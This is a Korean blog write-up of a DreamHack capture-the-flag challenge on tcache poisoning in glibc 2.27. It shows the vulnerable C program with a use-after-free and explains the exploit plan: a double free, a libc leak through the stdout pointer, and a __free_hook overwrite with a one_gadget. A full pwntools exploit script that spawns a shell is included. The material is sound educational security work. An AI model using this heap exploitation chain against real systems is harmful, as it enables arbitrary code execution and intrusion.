본문 바로가기

DreamHack: System Hacking/F Stage 12

Tcache Poisoning

Tcache Poisoning

Tcache Poisoningfree list에 중복되어 있는 청크를 재할당하면, 해당 청크가 해제된 청크임과 동시에 할당된 청크라는 점을 악용하여 원하는 주소에 청크를 할당하고, 원하는 주소에 할당된 청크를 통해 원하는 주소의 값을 읽거나 원하는 주소의 값을 overwrite 시킬 수 있는 기법이다.

 

 

소스코드 및 보호 기법

ubuntu 18.04 / glibc 2.27

-Full RELRO와 NX가 적용되어 있으니, hook overwrite를 고려해볼 수 있겠다. 소스코드에서 while(1)을 통해 반복문이 무한 반복되므로 bof를 통한 공격은 현실적으로 어렵다.

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }

  return 0;
}

코드 분석:

-case 1: 원하는 크기의 청크를 할당한 뒤 해당 청크에 값을 넣을 수 있다.

-case 2: 청크를 free할 수 있다.

-case 3: 해당 청크의 값을 출력해준다.

-case 4: 해당 청크의 값을 수정할 수 있다.

 

이때 'case 2'에서 청크를 free한 후 포인터를 초기화 시켜주지 않으므로 Dangling Pointer가 생기고, 이를 통해 해제된 청크의 값을 출력하고 수정할 수 있다.

따라서 free된 청크의 key 값을 수정하여 Double Free를 일으켜 tcache에 duplicated free list를 생성하고 tcache poisoning 기법을 사용할 수 있을 것이다.

 

exploit 설계

0. 전역변수 stdout에 관해...

setvbuf(stdout, 0, 2, 0);

를 사용하므로 해당 바이너리에는 stdout이라는 변수가 있을 것이다.

 

표준 입출력 전역 변수인 stdin, stdout, stderr는 stdio.h에 다음과 같이 정의돼있다.

extern FILE *stderr;
extern FILE *stdin;
extern FILE *stdout;

stdoutFILE 포인터형 전역 변수로 libc에 정의된 IO_2_1_stdout_라는 구조체의 주소를 가리키고 있다.

이를 디버거를 통해 확인해보자

stdout이라는 변수는 tcache_poison이라는 바이너리의 데이터 세그먼트에 포함돼있음을 알 수 있다.

 

포인터 변수인 stdout이 0x00007ffff7dce760라는 주소를 가리키고 있음을 확인할 수 있다.

0x00007ffff7dce760는 틀림없이 IO_2_1_stdout_의 주소일 것이다. 확인해보자

해당 주소(0x00007ffff7dce760)의 값을 출력해본 결과 위와 같이 여러 데이터들이 구조체의 형태로 정의되어 있음을 확인할 수 있다. 이 구조체의 이름이 바로 IO_2_1_stdout_이다.

 

다시 exploit 설계로 돌아와서...

 

1. libc base Leak

-(1) Double Free Bug를 이용해 tcache에 duplicated free list를 만들고 tcache poisoning을 이용하여 전역변수 stdout에 chunk를 할당한다.

-(2) stdoutlibc내에 위치한 구조체인 IO_2_1_stdout_의 주소를 가리키고 있으므로, stdout에 할당된 청크를 이용하여 IO_2_1_stdout_의 주소를 읽고,

-(3) IO_2_1_stdout_의 주소에서 libc_base <-> IO_2_1_stdout_의 offset을 빼 libc_base의 주소를 구한다

 

2. __free_hook overwrite

-(1) libc_base를 구했으므로, libc에 정의되어 있는 포인터 변수인 __free_hook을 overwrite하여 __free_hook이 one_gadget을 가리키게 한다.

 

 

exploit(tcache_poison.py)

__free_hook이 <main+0>을 가리키게 한 뒤 __free_hook이 가리키는 함수를 실행하기 직전
__free_hook이 가리키는 함수가 실행된 직후의 모습
__free_hook이 가리키는 함수가 실행된 직후의 [rsp+xx]의 값들

[rsp+0x40] == NULL이므로 Constraints를 만족하는 one_gadget은 0x4f432이다.

 

from pwn import *
p = remote('host3.dreamhack.games', 9544)
e = ELF('./tcache_poison')
lib = ELF('./libc-2.27.so')

def alloc(size, content):
    p.sendlineafter('Edit\n', str(1).encode())
    p.sendlineafter('Size: ', str(size).encode())
    p.sendafter('Content: ', content)

def free():
    p.sendlineafter('Edit\n', str(2).encode())

def print_content():
    p.sendlineafter('Edit\n', str(3).encode())

def edit(content):
    p.sendlineafter('Edit\n', str(4).encode())
    p.sendafter('Edit chunk: ', content)

#### [1] Leak libc base ####
alloc(0x30, "kkk")
free()
#tcache[0x40]: Chunk A

edit(b'B'*9) # manipulate chunk A->key to trigger Double Free Bug
free()
#tcache[0x40]: Chunk A -> Chunk A

edit(b'C'*9)
free()
#tcache[0x40]: chunk A -> chunk A -> chunk A

stdout = e.symbols['stdout']
alloc(0x30, p64(stdout)) # Allocate Chunk A from duplicated free list
#tcache[0x40]: Chunk A -> stdout -> _IO_2_1_stdout_ -> ...

alloc(0x30, "kkk")
#tcache[0x40]: stdout -> _IO_2_1_stdout_ -> ...

alloc(0x30, p64(lib.symbols['_IO_2_1_stdout_'])[0:1]) # chunk allocated at stdout
print_content()
p.recvuntil("Content: ")
libc_base = u64(p.recvn(6) + b'\x00'*2) - lib.symbols['_IO_2_1_stdout_']
free_hook = libc_base + lib.symbols['__free_hook']
one_gadget = libc_base + 0x4f432
# tcache[0x40]: _IO_2_1_stdout_ -> ...

print('libc_base:', hex(libc_base))
print('__free_hook:', hex(free_hook))
print('one_gadget:', hex(one_gadget))

#### [2] __free_hook Overwrite ####
alloc(0x40, "kkkk")
free()
#tcache[0x50]: chunk B

edit(b'B'*9) # manipulate chunk B -> key to trigger Double Free Bug
free()
#tcache[0x50]: chunk B -> chunk B

edit(b'C'*9)
free()
#tcache[0x50]: chunk B -> chunk B -> chunk B

alloc(0x40, p64(free_hook))
#tcache[0x50]: chunk B -> __free_hook

alloc(0x40, 'kakakak')
#tcache[0x50]: __free_hook

alloc(0x40, p64(one_gadget)) # Chunk allocated at __free_hook() -> then, overwrite __free_hook to one_gadget
free() # trigger overwrited __free_hook == trigger one_gadget

p.interactive()

 

**이때 주의할 점은

[1] stdout표준 출력과 관련된 아주 중요한 변수이므로, stdout의 위치에 청크를 할당할 때, stdout이 가리키는 주소가 조금이라도 바뀌면 안 된다는 것이다.(stdout의 값이 조금이라도 바뀌게 된다면 출력이 아예 되지 않는 불상사가 발생한다)

 

따라서 위와 같은 불상사를 발생시키지 않기 위해, stdout에 청크를 할당할 때 stdout에 _IO_2_1_stdout_의 하위 1byte 값만을 입력하게 했다.(libc base의 주소 하위 12비트는 000이므로, libc에 정의돼 있는 _IO_2_1_stdout_의 하위 1byte offset은 일정함)

 

[2] tcache count에도 신경써야 한다. tcache count는 tcache에 청크가 추가될 때 +1 되고, tcache에서 청크가 빠져나갈 때 -1된다.

tcache count == 0이면, 청크를 할당할 때 tcache를 참조하지 않으므로 tcache count에도 신경쓰며 exploit을 짜야 한다.

'DreamHack: System Hacking > F Stage 12' 카테고리의 다른 글

tcache_dup2  (0) 2023.08.02
tcache_dup  (0) 2023.08.02
tcache의 구조 및 함수들의 동작 & Double Free Bug 개요  (0) 2023.08.02